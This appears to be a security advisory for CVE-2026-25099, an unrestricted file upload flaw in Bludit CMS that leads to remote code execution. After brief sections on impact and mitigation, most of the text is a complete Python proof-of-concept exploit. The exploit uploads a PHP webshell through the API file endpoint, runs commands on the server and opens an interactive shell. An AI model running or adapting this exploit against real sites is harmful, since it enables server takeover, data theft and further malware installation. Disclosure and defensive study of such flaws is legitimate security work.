Overview
The recently discovered CVE-2026-25099 vulnerability in Bludit CMS version 3.18.4 poses a critical risk as it allows for remote code execution (RCE). This flaw can be exploited by attackers to execute arbitrary code on the server, potentially leading to full system compromise. Bludit, a popular flat-file content management system, is widely used for its simplicity and ease of deployment, making it an attractive target for cybercriminals.
Technical Details
The vulnerability arises from insufficient validation of user input within specific administrative functionalities of Bludit CMS. Attackers can craft malicious payloads that are executed by the server when certain parameters are manipulated, particularly through the upload feature. By exploiting this flaw, an attacker can upload a malicious script disguised as a benign file, allowing them to execute arbitrary commands on the server.
For instance, an attacker might upload a PHP shell that grants them access to the server’s file system, enabling further exploitation, data theft, or even the installation of additional malware. The lack of stringent security measures around file uploads significantly amplifies the risk associated with this vulnerability.
Impact
The potential consequences of exploiting CVE-2026-25099 are severe. Successful exploitation could lead to unauthorized access to sensitive data, website defacement, or the complete takeover of the affected server. This not only jeopardizes the integrity of the Bludit installation but also compromises the data of users and visitors, leading to significant reputational damage and legal ramifications for the affected organization.
Mitigation
To protect against this vulnerability, it is imperative for users of Bludit CMS to immediately update to the latest version that addresses the CVE. Regularly monitoring and applying security patches is crucial in maintaining a secure environment. Additionally, implementing strict input validation and file type restrictions can significantly reduce the risk of RCE vulnerabilities.
Security professionals should also consider employing a web application firewall (WAF) to help filter and monitor HTTP requests, thereby blocking malicious traffic before it reaches the application. Regular security audits and penetration testing can further enhance the security posture by identifying potential vulnerabilities before they can be exploited.
Proof of Concept (PoC)
# Exploit Title: Bludit CMS 3.18.4 - RCE
# Date: 2026-03-28
# Exploit Author: Yahia Hamza (https://yh.do)
# Vendor Homepage: https://www.bludit.com/
# Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip
# Version: Bludit < 3.18.4
# Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3
# CVE: CVE-2026-25099
#
# Description:
# Bludit CMS API plugin allows an authenticated user with a valid API token
# to upload files of any type and extension via POST /api/files/<page-key>.
# The uploadFile() function performs no file extension or content validation,
# allowing upload of PHP webshells that execute as www-data.
#
# The API token is generated when the API plugin is activated and is visible
# to users with admin panel access. Tokens may also be exposed through
# misconfiguration, log files, or other application vulnerabilities.
#
# Fixed in Bludit 3.18.4.
#
# Usage:
# python3 CVE-2026-25099.py -u http://target -t API_TOKEN
# python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"
import argparse
import requests
import sys
import random
import string
def get_page_key(base_url, token):
"""Retrieve a valid page key from the Bludit API."""
try:
r = requests.get(
f"{base_url}/api/pages",
params={"token": token},
timeout=10
)
if r.status_code == 200:
data = r.json()
if data.get("data") and len(data["data"]) > 0:
return data["data"][0]["key"]
except requests.RequestException as e:
print(f"[-] Connection error: {e}")
return None
def upload_shell(base_url, token, page_key):
"""Upload a PHP webshell via the unrestricted file upload endpoint."""
shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
try:
r = requests.post(
f"{base_url}/api/files/{page_key}",
data={"token": token},
files={"file": (shell_name, shell_content, "application/x-php")},
timeout=10
)
if r.status_code == 200:
data = r.json()
if data.get("status") == "0":
shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
return shell_url, shell_name
except requests.RequestException as e:
print(f"[-] Upload error: {e}")
return None, None
def execute_command(shell_url, cmd):
"""Execute a command via the uploaded webshell."""
try:
r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
if r.status_code == 200 and "<pre>" in r.text:
return r.text.split("<pre>")[1].split("</pre>")[0].strip()
except requests.RequestException:
pass
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
)
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
parser.add_argument("-t", "--token", required=True, help="Bludit API token")
parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
args = parser.parse_args()
base_url = args.url.rstrip("/")
print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
print(f"[*] Target: {base_url}")
# Step 1: Get page key
print("[*] Retrieving page key...")
page_key = get_page_key(base_url, args.token)
if not page_key:
sys.exit("[-] Failed to retrieve page key. Check URL and token.")
print(f"[+] Page key: {page_key}")
# Step 2: Upload webshell
print("[*] Uploading webshell...")
shell_url, shell_name = upload_shell(base_url, args.token, page_key)
if not shell_url:
sys.exit("[-] Upload failed.")
print(f"[+] Shell uploaded: {shell_url}")
# Step 3: Verify RCE
print("[*] Verifying RCE...")
test = execute_command(shell_url, "id")
if not test:
sys.exit("[-] RCE verification failed. Shell may not be accessible.")
print(f"[+] RCE confirmed: {test}")
# Step 4: Execute command or interactive shell
if args.command:
output = execute_command(shell_url, args.command)
if output:
print(output)
else:
print("n[+] Interactive shell (type 'exit' to quit)n")
while True:
try:
cmd = input("shell> ")
if cmd.strip().lower() in ("exit", "quit"):
break
if not cmd.strip():
continue
output = execute_command(shell_url, cmd)
if output:
print(output)
else:
print("(no output)")
except (KeyboardInterrupt, EOFError):
break
print(f"n[*] Shell: {shell_url}")
if __name__ == "__main__":
main()